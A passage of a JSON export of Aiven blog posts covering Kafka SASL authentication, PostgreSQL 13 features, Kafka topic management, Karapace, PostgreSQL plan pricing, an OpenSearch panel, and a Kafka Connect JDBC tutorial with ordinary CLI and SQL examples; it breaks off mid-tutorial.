complementary authentication method between your Kafka-powered applications and your Kafka endpoint. This gives you the option to replace your access key and access certificate with a username and password that you specify.\n\n\u003e_Note that with SASL enabled, you'll still require a CA (certificate authority) certificate to connect your producers and consumers to your Aiven Kafka endpoint._\n\n*SASL* stands for _Simple Authentication and Security Layer_ and is a popular authentication framework already used widely across many established internet protocols, including [AMQP](https://www.amqp.org/), [IMAP](https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol), [IRC](https://en.wikipedia.org/wiki/Internet_Relay_Chat), and [memcached](https://memcached.org/).\n\nAiven Kafka supports the following SASL mechanisms:\n * *SASL Plain*: a basic, cleartext password handler based on [RFC 4616](https://tools.ietf.org/html/rfc4616);\n * *SCRAM* (or _Salted Challenge Response Authentication Mechanism_): a more complex challenge-response authentication method.\n\n## How SASL works\nTo turn on SASL support, just enable the ```kafka_authentication_methods.sasl``` setting within your advanced configuration settings.\n\n![Showing how to enable SASL](https://cdn.sanity.io/images/sczeoy4w/production/e92a99454179834b89e8a877969082408c2191fc-894x450.png)\n\nYou can then configure your producers and consumers to use SASL authentication to your endpoint accordingly.\n\n![Showing SASL auth settings](https://cdn.sanity.io/images/sczeoy4w/production/948e525bda8d8b6bce2b909a7ec47606ef24ac6e-850x405.png)\n\n\n## Wrapping up\nYou now have two options — Client Certificate or SASL — for connecting your Kafka producers and consumers to your Aiven Kafka endpoint. We’ll always be adding more options, so stay up to date from our [blog](/blog/feed.xml), [changelog](/changelog/feed.xml) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-0f35a5afe4704cf7dee913ca90322ecade01e9e9-752x405-png","_type":"reference"}},"publishedAt":"2019-06-24T00:00:00.000Z","seo":{"metaDescription":"Aiven Kafka users can now enable SASL authentication between their applications and Aiven Kafka; find out more about it in this post.","metaImage":{"alt":"","asset":{"_ref":"image-0f35a5afe4704cf7dee913ca90322ecade01e9e9-752x405-png","_type":"reference"}},"metaTitle":"Aiven Kafka now supports SASL authentication"},"slug":{"_type":"slug","current":"/blog/aiven-kafka-now-supports-SASL-authentication"},"subtitle":"Aiven Kafka users can now enable SASL authentication between their applications and Aiven Kafka; find out more about it in this post.","title":"Aiven Kafka now supports SASL authentication"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1QzchuAQu7wUI8Z4bXnKSk","_rev":"ZLvKaZvfbZlWBlGcpInqQA","_type":"post","_updatedAt":"2024-01-29T15:37:37Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"We have great news for administrators of Aiven for PostgreSQL and all application developers using it: Your life just got easier with PostgreSQL 13. \n\nThe new version of Postgres, one of the all-time greats of open source databases, includes housekeeping operations that keep your database size more manageable. \n\nIn this post, we’ll cover the most important improvements and how you can reap the benefits of them.\n\n### B-tree indexes are deduplicated\nDuplicate entries - which occur when you index non-unique data but also when updating rows with unique indexes - are found in B-tree indexes more commonly than most people think. This results in larger indexes than needed, which slows down performance and increases storage costs.\n\nPostgreSQL 13 solves this problem by [merging duplicate key values](https://www.postgresql.org/docs/13/btree-implementation.html) in B-tree indexes into a single posting list tuple so that the column key values only appear once. In indexes where duplicate values often occur, this can reduce index size dramatically. It also increases query throughput and makes routine vacuuming faster. \nAnd speaking of vacuuming…\n### Parallel vacuuming of indexes\nThis is the feature we’ve all been waiting for! \n\nThe VACUUM command removes rows that are no longer visible due to updates or deletions, among other things. In previous versions, vacuuming could take a long time for large tables with multiple indexes. In Postgres 13, processing times are drastically shorter now that a worker can be allocated to each index and they can be [vacuumed in parallel](http://amitkapila16.blogspot.com/2020/05/improved-autovacuum-in-postgresql-13.html) with a single vacuum process.\n### Improved partitioning support\nPartitioning enables you to accelerate queries, improve bulk loads and deletion, and manage large tables with ease, and Postgres 13 ships with several [partitioning enhancements](https://www.postgresql.org/docs/13/release-13.html) that give you more ways to split tables. Partition pruning is now allowed in a wider variety of cases and partitions can more often be directly joined, improving query performance. \n### Incremental sorting\nOne of PostgreSQL 13’s most prominent new features is incremental sorting. When a group of data sets is already sorted by some column(s), the result can be used as a basis for further sorting later, thereby reducing the volume of data that needs to be sorted with each query. Of course, the efficiency improvement depends on the data in question, so PostgreSQL 13 optimizer heuristically decides whether to use incremental sorting or not. \n\nFor a full list of version improvements, check out [PostgreSQL's release notes](https://www.postgresql.org/docs/13/release-13.html).\n## Ready to clear the clutter with managed PostgreSQL 13?\nYou’ll need to upgrade to PostgreSQL 13 to take advantage of these features. If you already use Aiven for Postgres, you can easily run an [in-place upgrade](https://help.aiven.io/en/articles/2461799-how-to-perform-a-postgresql-in-place-major-version-upgrade) to migrate to the newest version.\n\nNot using Aiven for PostgreSQL yet? Try out the latest PostgreSQL version with our [free 30-day no-commitment trial](https://aiven.io/postgresql). Get starting by signing up and choosing version 13 when creating your Postgres service. Alternatively, you can also use our [Terraform tooling](https://help.aiven.io/en/articles/2370350-aiven-terraform-integration), [REST API](https://aiven.io/docs/tools/api) or [CLI](https://aiven.io/blog/command-line-magic-with-the-aiven-cli) for service creation. To find out more about PostgreSQL, read our [Introduction to PostgreSQL](https://aiven.io/blog/an-introduction-to-postgresql)\n\n## Wrapping up\nPostgreSQL 13 is packed with next-level features that enable you to improve query performance, rapidly deduplicate data, vacuum indexes in parallel, and sort data more effectively. Head over to the Aiven console and get the upgrade started, so you can enjoy these improvements.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-e9d2d9ee3ab33e924d415d46c693ccfa1b1ae89c-1567x844-png","_type":"reference"}},"publishedAt":"2021-02-16T00:00:00.000Z","seo":{"metaDescription":"PostgreSQL 13 makes life easier with improvements to indexing, sorting, and vacuuming. Read on to learn how it makes your datasets cleaner and queries faster.","metaImage":{"alt":"","asset":{"_ref":"image-e9d2d9ee3ab33e924d415d46c693ccfa1b1ae89c-1567x844-png","_type":"reference"}},"metaTitle":"Aiven for PostgreSQL® 13 is now available"},"slug":{"_type":"slug","current":"/blog/aiven-for-postgresql-13-is-now-available"},"subtitle":"PostgreSQL 13 makes life easier with improvements to indexing, sorting, and vacuuming. Read on to learn how it makes your datasets cleaner and queries faster.","title":"Aiven for PostgreSQL® 13 is now available"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"1yD4JhxesUQCeyGlgN67IU","_rev":"cEPH2uRN58AU2lp9QO7dxx","_type":"post","_updatedAt":"2022-09-08T16:16:39Z","authors":[{"_key":"2CAEpbT3LuYkmPFk5o0m1L","_ref":"2CAEpbT3LuYkmPFk5o0m1L","_type":"reference"}],"body":"We're happy to announce Kafka topic management updates for Aiven Kafka that have been frequently requested from our customers.\n\nThese updates will improve the interoperability between Aiven Kafka service instances and the Kafka ecosystem applications and tooling. Let's jump into the details!\n\n## Topic management over the Kafka protocol\n\nAiven Kafka now supports creating, modifying and deleting topics over the Kafka protocol. The initial **CreateTopic API** call was introduced in Kafka 0.10.1.0, and support has been gradually extending ever since. The APIs have matured with Kafka 1.0 and the Kafka ecosystem tooling is increasingly starting to utilize these APIs.\n\nWith the API supported, utilizing Kafka Connect, Kafka Streams, KSQL and other tooling is now much easier than before.\n\nWe've also added a new ACL permission level, **admin**, allowing you to provide specific users permission to create, update, and delete topics through the Kafka protocol.\n\n## Automatic topic creation\n\nIn addition to the explicit API calls, we're adding an option to enable automatic topic creation. This feature can be enabled with the Aiven Command Line Client:\n\n```\n avn service update \\\n --project project-name \\\n example-kafka-service \\\n -c kafka.auto_create_topics_enable=true\n```\n\nAdmin ACL permission is required for the topic creation to be successful.\n\n## Wrapping up\n\nBoth can be introduced to existing Kafka services by triggering a maintenance update from within the Aiven console. Additionally, all new Aiven Kafka deployments will automatically include these modifications.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"publishedAt":"2018-03-14T00:00:00.000Z","seo":{"metaDescription":"From options for creating topics automatically to a new ACL permission level, Aiven Kafka users now have greater control over topic management; learn more.","metaImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"metaTitle":"Introducing improved Aiven Kafka topic management"},"slug":{"_type":"slug","current":"/blog/kafka-topic-management-updates"},"subtitle":"From options for creating topics automatically to a new ACL permission level, Aiven Kafka users now have greater control over topic management; learn more.","title":"Introducing improved Aiven Kafka topic management"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"6KYt6yfjKl5MeD0qupM50F","_rev":"QRl2cGoCgj0FlAhkRriOYb","_type":"post","_updatedAt":"2022-09-08T16:29:59Z","authors":[{"_key":"23npxnYfL41QURg8oY8Lat","_ref":"23npxnYfL41QURg8oY8Lat","_type":"reference"}],"body":"Apache Kafka® is an essential technology in building digital services today. Businesses need access to a wide stream of data. What’s more, that data must be well-integrated to enable real-time business use cases, such as predictive analytics, personalized web experience, IoT sensor ingestion, customer behavior analysis and online fraud detection.\n\n## Why schemas matter\n\nApache Kafka at its core simply transfers data in byte format, and does not care what kind of data is being sent or received. Kafka doesn’t “understand” the data that flows through it but the producers and consumers need to, so we must define a common data type between producers and consumers if they are to understand each other. This is where Karapace fits in. \n\n[Karapace](https://karapace.io/ \"Karapace - your Apache Kafka essentials in one tool\") is a piece of software that resides outside your Kafka cluster and handles the distribution and evolution of schemas. Karapace is an open source alternative to Confluent Schema Registry and Apache Kafka REST proxy. With this project, Aiven enables businesses to build applications and services using Apache Kafka in the open source world.\n\n## Aiven and Karapace\n\nAiven [announced Karapace](https://aiven.io/blog/aiven-launches-karapace-for-kafka-schema-and-cluster-management \"Aiven launches Karapace for Apache Kafka schema and cluster management | Aiven Blog\") in July 2020 in response to the licensing change in Confluent Schema Registry back in 2018. We wanted to ensure that we could continue to offer a well-maintained, supported open source alternative for all Apache Kafka users, whether or not they were our customers, for handling Kafka REST proxies and Schema Registry. \n\n(And being also users of Apache Kafka, we naturally wanted that capability for ourselves, too.)\n\nAiven’s open source mission is to help the tooling and environment to evolve so that companies can avoid vendor lock-in, and this was an important step on that road.\n\n## The future of Karapace\n\nAiven is committed to continuing the development of Karapace in the open, and ensuring 1:1 compatibility between Confluent Schema Registry and Karapace to the fullest possible extent.\n\nWith Instaclustr joining the project, the future of Karapace is even stronger. Their recent contribution adds support for the [Google Protocol Buffer (Protobuf)](https://en.wikipedia.org/wiki/Protocol_Buffers \"Protocol Buffers | Wikipedia\") format in the Karapace schema registry. Protobuf allows cross-language support for code generation, which is valuable for organizations using multiple programming languages. In such organizations, building an event streaming platform with strong guarantees on data quality means that the chosen encoding format must be interoperable between those languages.\n\nAiven creating Karapace as an open source project to begin with is an invitation for other companies and individuals to contribute new features and make Karapace more robust, flexible and versatile. Everyone gains when open source tooling improves, regardless of who is doing the improving. Open source is a prime example of [coopetition](https://en.wikipedia.org/wiki/Coopetition \"Coopetition: cooperative competition | Wikipedia\"), where companies work together to share knowledge and resources even as they continue to compete for market share of their products. These two interactions take place at different stages of the value chain. The companies share for example lower-level research insights and components, while still keeping their own products and services that have been built upon the (now shared) foundation.\n\nThis is why we at Aiven are delighted to find ourselves collaborating with Instaclustr in the spirit of joint commitment to open source. This will benefit Aiven’s and Instaclustr’s customers equally, as well as all other users of Apache Kafka. After all, we’re in the business of providing our customers with the best open source technologies.\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"TqGvFFLeeAA983N1VLEpK","_ref":"TqGvFFLeeAA983N1VLEpK","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-2a83f5b5541fc8f099a2e3afe3d136d43ea02fd9-1567x844-png","_type":"reference"}},"publishedAt":"2022-03-21T00:00:00.000Z","seo":{"metaDescription":"Companies are increasingly turning to Karapace, started by Aiven, as an open source alternative for Confluent Schema Registry and REST API for Apache Kafka®.","metaImage":{"alt":"","asset":{"_ref":"image-2a83f5b5541fc8f099a2e3afe3d136d43ea02fd9-1567x844-png","_type":"reference"}},"metaTitle":"Karapace strengthens schema management"},"slug":{"_type":"slug","current":"/blog/karapace-strengthens-schema-management"},"subtitle":"Companies are increasingly turning to Karapace, started by Aiven, as an open source alternative for Confluent Schema Registry and REST API for Apache Kafka®.","title":"Karapace strengthens schema management"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"1DQygJh9jbPBgmWQtnc3sp","_rev":"cEPH2uRN58AU2lp9QO7oqH","_type":"post","_updatedAt":"2022-09-08T16:19:47Z","authors":[{"_key":"MtPf0fA4gEsTHRgE5bHjI","_ref":"MtPf0fA4gEsTHRgE5bHjI","_type":"reference"}],"body":"Based on customer feedback, we have added a few more PostgreSQL service plan options to our offering.\n\nAll plans except _Hobbyist_ now have four size variants each. We have also **doubled** the SSD disk space in our plans!\n\nAll plans include daily full backups and real-time streaming of incremental backups. Recovery to any point in time is supported. Also, forking a new database from any point in time in the backup history is possible.\n\n###  Basic single-node plans\n\n* **Hobbyist**: 1 CPU, 1 GB RAM, 8 GB SSD at $19 / month ($0.026 / hour)\n* **Startup-4**: 1 CPU, 4 GB RAM, 50 GB SSD at $75 / month ($0.103 / hour)\n* **Startup-8**: 2 CPU, 8 GB RAM, 100 GB SSD at $150 / month ($0.205 / hour)\n* **Startup-16**: 4 CPU, 16 GB RAM, 200 GB SSD at $300 / month ($0.411 / hour)\n* **Startup-32**: 8 CPU, 32 GB RAM, 400 GB SSD at $600 / month ($0.822 / hour)\n\n_Startup_ plans store backup history for the last 24 hours.\n\n### Plans with a standby-node and automatic failover\n\nThe _Business_ plans add a level of redundancy with a hot standby node that takes over if the master server stops functioning:\n\n* **Business-4**: 1 CPU, 4 GB RAM, 50 GB SSD at $200 / month ($0.274 / hour)\n* **Business-8**: 2 CPU, 8 GB RAM, 100 GB SSD at $400 / month ($0.548 / hour)\n* **Business-16**: 4 CPU, 16 GB RAM, 200 GB SSD at $800 / month ($1.096 / hour)\n* **Business-32**: 8 CPU, 32 GB RAM, 400 GB SSD at $1600 / month ($2.192 / hour)\n\n_Business_ plans have a full backups history over the last 14 days.\n\n### Plans with two standby nodes\n\nThe _Premium_ plans add a second hot standby node, which means all database transactions are written to two nodes even during the time of a node failover.\n\n* **Premium-4**: 1 CPU, 4 GB RAM, 50 GB SSD at $300 / month ($0.411 / hour)\n* **Premium-8**: 2 CPU, 8 GB RAM, 100 GB SSD at $600 / month ($0.822 / hour)\n* **Premium-16**: 4 CPU, 16 GB RAM, 200 GB SSD at $1200 / month ($1.644 / hour)\n* **Premium-32**: 8 CPU, 32 GB RAM, 400 GB SSD at $2400 / month ($3.288 / hour)\n\n_Premium_ plans have a full backups history over the last 30 days.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"publishedAt":"2016-02-10T13:29:00.000Z","seo":{"metaDescription":"Full daily backups, and real-time streaming of incremental backups are only a few of the improvements to Aiven for PostgreSQL. Find out what else we’ve done.","metaImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"metaTitle":"Bigger, faster, cheaper Aiven for PostgreSQL® service plans!"},"slug":{"_type":"slug","current":"/blog/bigger-faster-cheaper-aiven-postgresql"},"subtitle":"Full daily backups, and real-time streaming of incremental backups are only a few of the improvements to Aiven for PostgreSQL. Find out what else we’ve done.","title":"Bigger, faster, cheaper Aiven for PostgreSQL® service plans!"} {"__i18n_lang":"en","_createdAt":"2023-02-09T15:49:36Z","_id":"0fe56f68-b802-4517-8c6e-030413ade196","_rev":"THDGXgbtbTWNUZ8wxZrWlv","_type":"post","_updatedAt":"2023-05-15T13:36:48Z","authors":[{"_key":"cc17bc1957a6","_ref":"4qffmcVsFWCkdzfsRDzQ4N","_type":"reference"}],"body":"## The panel and its participants\n\nOn 17th January 2023, Aiven and BigData Boutique held an OpenSearch® Fireside Chat on [Lessons learned from maintaining 10K+ OpenSearch® clusters in production](https://www.youtube.com/watch?v=Ek20H1t_moM), and the conversation illustrates how far OpenSearch® has come since the project first started in January 2021, just two years ago.\n\nThe seed for this session was planted at our Uptime conference last year, where BigData Boutique’s CTO talked about [building a future-proof data serving layer](https://youtu.be/yACk-kGDZts).\n\n[BigData Boutique](https://bigdataboutique.com/) is a premium consulting firm focusing on Big Data technologies, known for their [expertise in Elasticsearch and OpenSearch](https://bigdataboutique.com/services/elasticsearch-consulting). Their panelists were:\n\n* [Itamar Syn-Hershko](https://www.linkedin.com/in/itamar-syn-hershko-78b25013), CTO and Founder, who has been working with OpenSearch and Elasticsearch since the very beginning (2010, give or take). Itamar leads a team of experts providing support for companies using OpenSearch all around the world.\n* [Arkadii Chumachenko](https://www.linkedin.com/in/arcady-chumachenko/) is one of those experts. An OpenSearch Support Engineer at BigData Boutique, Arkadii has been fiddling with computers since pre-school.\n* [Lior Friedler](https://www.linkedin.com/in/lior-friedler/) is an OpenSearch expert and BigData Ops team lead at BigData Boutique. His day-to-day revolves around data modeling, scaling data infrastructure, and optimizing cost and performance of huge scale data platforms.\n\nAiven was represented by [Andriy Redko](https://www.linkedin.com/in/aredko/), a member of our [Open Source Program Office](https://aiven.io/open-source-program-office) and an OpenSearch contributor\n\nThe panel was led by [Lorna Mitchell](https://www.linkedin.com/in/lornajane/), who at the time of the session was a Principal Developer Advocate at Aiven. Lorna is well known (amongst other things!) as a speaker, author, and Open Source specialist.\n\n## Overview\n\nIt's a rare opportunity to get this much experience on OpenSearch in one place. The panel does assume you already have some knowledge of OpenSearch or equivalent technologies; the panelists assume at least a basic awareness of how search technologies work, that systems need to be tuned, and that terms like \"vector\" can have a meaning in the text-based/linguistic world as well as in the mathematical sense.\n\nOn the other hand, if you're interested in knowing a bit more about why OpenSearch is more than just a different version of Elasticsearch, some nifty hints on tuning, why managed services may be the best answer (at least for now), and where the associated technologies may be going over the next few years, then this is the right talk.\n\nMy particular fascinations? I love text, and have a longstanding interest in text markup and manipulation, so OpenSearch has strong appeal to me in its document handling and indexing aspects. I'm also a fan of backup (I've run the backup system for a small company, and once wrote the backup system for an object oriented database). And I have an appreciation for technologies that stand the test of time. As we'll see below, all of those are clues that I might enjoy this panel 🙂.\n\n## My take\n\nOne way to consider the value of a panel is to review the topics that were discussed. Some of Lorna's leading questions in this session were:\n\n* When do people use OpenSearch when they should use something else (and does it matter?)\n* What do the panelists really like about the OpenSearch tech stack? and how have they seen it change during their use of it?\n* How widespread is awareness of OpenSearch, and is that linked to the availability of managed services?\n* What are the best practices for improving OpenSearch performance?\n* Finally, the participants were asked what developments they hoped for in the next five years.\n\nThat doesn’t really give the gist of the panel though, so here are some of the things that struck me.\n\n## Some fun quotes\n\n\u003e “It's opt out of indexing, rather than opt in to indexing[, like other database systems]”\n\u003e – Lior, 15:00\n\nI think this one is important. OpenSearch is at heart a search engine, and so indexing is core to how it works. In a relational database, for instance, you can choose indexing of columns, but it’s a conscious choice, and the overheads are different.\n\n\u003e “For developers, it’s extremely simple product to start working with”\n\u003e – Andriy, 16:30\n\n[Apache Lucene®](https://lucene.apache.org/) is an excellent core technology, in active development for more than 20 years ([Elastic](https://www.elastic.co/) has an interesting page on its [history](https://www.elastic.co/celebrating-lucene)) and OpenSearch provides the right level of abstraction to “hide” the complexity of Lucene and make it accessible., which is “a very big selling point for developers”.\n\n\u003e “Don’t think that it’s a schemaless database” \n\u003e – Lior, 23:50\n\nThis one is something people sometimes forget. There’s always a schema for documents, it’s just that OpenSearch will deduce one if you don’t specify it. And as you might expect, letting it “guess” what you mean can sometimes make for surprises.\n\n\u003e “Don’t use super-expensive analyzers, unless you really need them”\n\u003e – Lior, 24:18\n\nI was particularly struck by the value of the specific answers to the \"best practices\" topic (although actually the discussion overlapped with the previous consideration of managed services). There was a clear feeling of the importance of (appropriate) monitoring, and a good discussion on the necessity of not only backing up data, but also checking that it can be restored again (so easy to forget!).\n\n\u003e “My disadvantage is that I only see those systems when they have already been broken.\n\u003e – Lior, 29.:59\n\n## Other thoughts\n\nI was reassured to hear that, as the project matures, more of the sensible configuration choices are defaulting to \"on\" - this seems to me a sign of a project with a healthy approach to its users.\n\nI did notice that there were several recurring topics, and I believe these all came up in the \"what to look forward to in the future\" section as well:\n\n* Providing even more of the core Apache Lucene functions, and tracking development in Lucene\n* Improving the cluster capabilities, and thus improving operation at scale\n* Looking towards serverless offerings\n* Support for even more (written) languages, and more integrations\n* Support for vector search - supporting search for a word and words related to it\n* Support for ML/AI\n\nWhich of those most excite me? Definitely vector search, which I expect to open up exciting possibilities, but also the provision of more and more integrations.\n\n\n(For those who don't know what vector search is, I think that [Text mining using vectors explained to business people](https://cesconi.com/text-mining-using-vectors-explained-to-business-people-4ea6f55ac2e3) by Federico Cesconi is a good place to start. It's at the wonderful intersection between text data, linguistics research, and mathematics.)\n\nAs the panel says, the future of OpenSearch looks very bright, and it’s going to be used in even more application spaces.\n\n-------\n \nApache Lucene is a trademark of the Apache Software Foundation in the United States and/or other countries.\nElasticsearch is a trademark of Elasticsearch BV, registered in the U.S. and in other countries.\n","categories":[{"_key":"3c479f54a44a","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"},{"_key":"a3ce2fcb9271","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"Test saying \"Notes on an OpenSearch® Fireside Chat\" against a blue background with the AIven cuddly crab logo at the bottom left","asset":{"_ref":"image-b868791544712892e91c639f202dc1c1eb27edee-1567x844-jpg","_type":"reference"}},"publishedAt":"2023-02-22T12:41:29.993Z","related":[],"seo":{"_type":"metaData","metaTitle":"Experts discuss OpenSearch®: BigData Boutique \u0026 Aiven"},"slug":{"_type":"slug","current":"/blog/opensearch-fireside-chat"},"subtitle":"They had me at the panel title: “Lessons learned from maintaining 10K+ OpenSearch® clusters in production”","title":"Learn from the experts: BigData Boutique and Aiven talk about OpenSearch®"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"7bElzaANLEsZkdrtXlmTqh","_rev":"KtWw3EPsvVF1DpRqAKQydd","_type":"post","_updatedAt":"2023-06-22T13:54:56Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"If we go back in history few years, the typical data pipeline was an app creating events and pushing them to a backend database. Data was then propagated to downstream applications via dedicated ETL flows at regular intervals, usually daily.\n\nIn these modern times, [Apache Kafka](https://aiven.io/kafka) has become the default data platform. Apps write events to Kafka, which then distributes them in near-real-time to downstream sinks like databases or cloud storages. [Kafka Connect](https://aiven.io/kafka-connect), a framework to stream data into and out of Apache Kafka, represents a further optimisation that makes the ingestion and propagation of events just a matter of config files settings.\n\nWhat if we're facing an old app-to-database design? How can we bring it to 2021 and include Kafka in the game? Instead of batch exporting to the database at night, we can add Kafka to the existing system. Kafka Connect lets us integrate to an existing system and make use of more up-to-date tech tools, without disrupting the original solution.\n\nOne way to do this is to use the Kafka Connect JDBC Connector. This post will walk you through an example of sourcing data from an existing table in PostgreSQL and populating a Kafka topic with only the changed rows. This is a great approach for many use cases. But when no additional query load to the source system is allowed, you could also make use of change data capture solutions based on tools like Debezium. As we'll see later, [Aiven provides Kafka Connect as a managed service](https://aiven.io/kafka-connect) for both options. You can start your connectors without the hassle of managing a dedicated cluster.\n\n![Architecture Overview](//cdn.sanity.io/images/sczeoy4w/production/aeaeb093e2f18ac5203a1f2ba87bb1f3624e47a3-1058x314.png \"Kafka Connect in the architecture\")\n\nThis blog post provides an example of the Kafka Connect JDBC Source based on a PostgreSQL database. A more detailed explanation of the connector is provided in our [help article](https://help.aiven.io/en/articles/3416789-jdbc-source-connector-with-postgresql)\n\nIn our example, we first create a PostgreSQL database to act as backend data storage for our imaginary application. Then we create a Kafka cluster with Kafka Connect and show how any new or modified row in PostgreSQL appears in a Kafka topic.\n\n## Creating the PostgreSQL Source system\n\nWe'll create the whole setup using the [Aiven Command Line Interface](https://aiven.io/blog/command-line-magic-with-the-aiven-cli). Follow the instructions in the help article to install and log in. All you need is Python 3.5+ and an Internet connection.\n\nOnce you've logged in to the Aiven client, we can create a PostgreSQL database with the following `avn` command in our terminal:\n\n```bash\navn service create pg-football \\\n -t pg \\\n --cloud google-europe-west3 \\\n -p business-4\n```\n\nThis command creates a PostgreSQL database (flag `-t pg`) named `pg-football` on region `google-europe-west3`. The selected plan driving the amount of resources available and associated billing is `business-4`.\n\nThe create command returns immediately, Aiven received the request and started creating the instance. We can wait for the database to be ready with the following command:\n\n```bash\navn service wait pg-football\n```\nThe `wait` command can be executed against any Aiven instance, and returns only when the service is in `RUNNING` mode.\n\n### Time to Scout Football Players\n\nNow let's create our playground: we are a football scouting agency, checking players all over the world and our app pushes the relevant data to a PostgreSQL table. Let's login to PostgreSQL from the terminal:\n\n```bash\navn service cli pg-football\n```\n\nOr agency doesn't do a great job at scouting, all we are able to capture is the player's `name`, `nationality` and a flag `is_retired` showing the activity status.\nWe create a simple `football_players` table containing the above information together with two control columns:\n* `created_at` keeping the record's creation time\n* `modified_at` for the row's last modification time\n\nThese two columns will later be used from the Kafka Connect connector to select the recently changed rows.\nNow it's time to create the table from the PostgreSQL client:\n\n```sql\nCREATE TABLE football_players (\n name VARCHAR ( 50 ) PRIMARY KEY,\n nationality VARCHAR ( 255 ) NOT NULL,\n is_retired BOOLEAN DEFAULT false,\n created_at TIMESTAMP NOT NULL DEFAULT NOW(),\n modified_at TIMESTAMP\n )\n;\n```\n\nThe `created_at` field will work as expected immediately, with the `DEFAULT NOW()` definition.\nThe `modified_at` on the other side, requires a bit more tuning to be usable. We'll need to create a trigger that inserts the current timestamp in case of updates. The following SQL can be executed from the PostgreSQL client:\n\n```sql\nCREATE OR REPLACE FUNCTION change_modified_at()\n RETURNS TRIGGER\n LANGUAGE PLPGSQL\n AS\n$$\nBEGIN\n\tNEW.modified_at := NOW();\n\tRETURN NEW;\nEND;\n$$\n;\nCREATE TRIGGER modified_at_updates\n BEFORE UPDATE\n ON football_players\n FOR EACH ROW\n EXECUTE PROCEDURE change_modified_at();\n```\n\nThe first statement creates the `change_modified_at` function that will later be used by the `modified_at_updates` trigger.\n\n### Football Scouting App at Work\n\nWe can now simulate our football scouting app behaviour by manually inserting three rows in the `football_players` table from the PostgreSQL client with\n\n```sql\ninsert into football_players (name, nationality, is_retired) values ('Andrea Pirlo','Italian', true);\ninsert into football_players (name, nationality, is_retired) values ('Cristiano Ronaldo','Portuguese', false);\ninsert into football_players (name, nationality, is_retired) values ('Megan Rapinoe','American', true);\n```\n\nWe can verify that the `created_at` column is successfully populated in PostgreSQL with\n\n```sql\nselect * from football_players;\n```\n\nWhich will output\n\n```sql\n name | nationality | is_retired | created_at | modified_at\n-------------------+-------------+------------+----------------------------+-------------\n Andrea Pirlo | Italian | t | 2021-03-11 10:35:52.04076 |\n Cristiano Ronaldo | Portuguese | f | 2021-03-11 10:35:52.060104 |\n Megan Rapinoe | American | t | 2021-03-11 10:35:52.673554 |\n(3 rows)\n```\n\nPerfect, the app is working when inserting new rows. If only we could have an update to an existing row...\n\n![Breaking news - Pirlo comes out of retirement](//cdn.sanity.io/images/sczeoy4w/production/677b8f2b019d0f59017d37e98baee0052f32cb2f-739x258.png \"Pirlo's back\")\n\nWell, this was somehow expected, Juventus FC went out of Champions League and needed new energy in the midfield. We can update the relevant row with\n\n```sql\nupdate football_players set is_retired=false where name='Andrea Pirlo';\n```\n\nWe can check that the `modified_at` is correctly working by issuing the same `select * from football_players;` statement in the PostgreSQL client and checking the following output\n\n```sql\n name | nationality | is_retired | created_at | modified_at \n------------------+-------------+------------+----------------------------+----------------------------\nCristiano Ronaldo | Portuguese | f | 2021-03-11 10:35:52.060104 |\nMegan Rapinoe | American | t | 2021-03-11 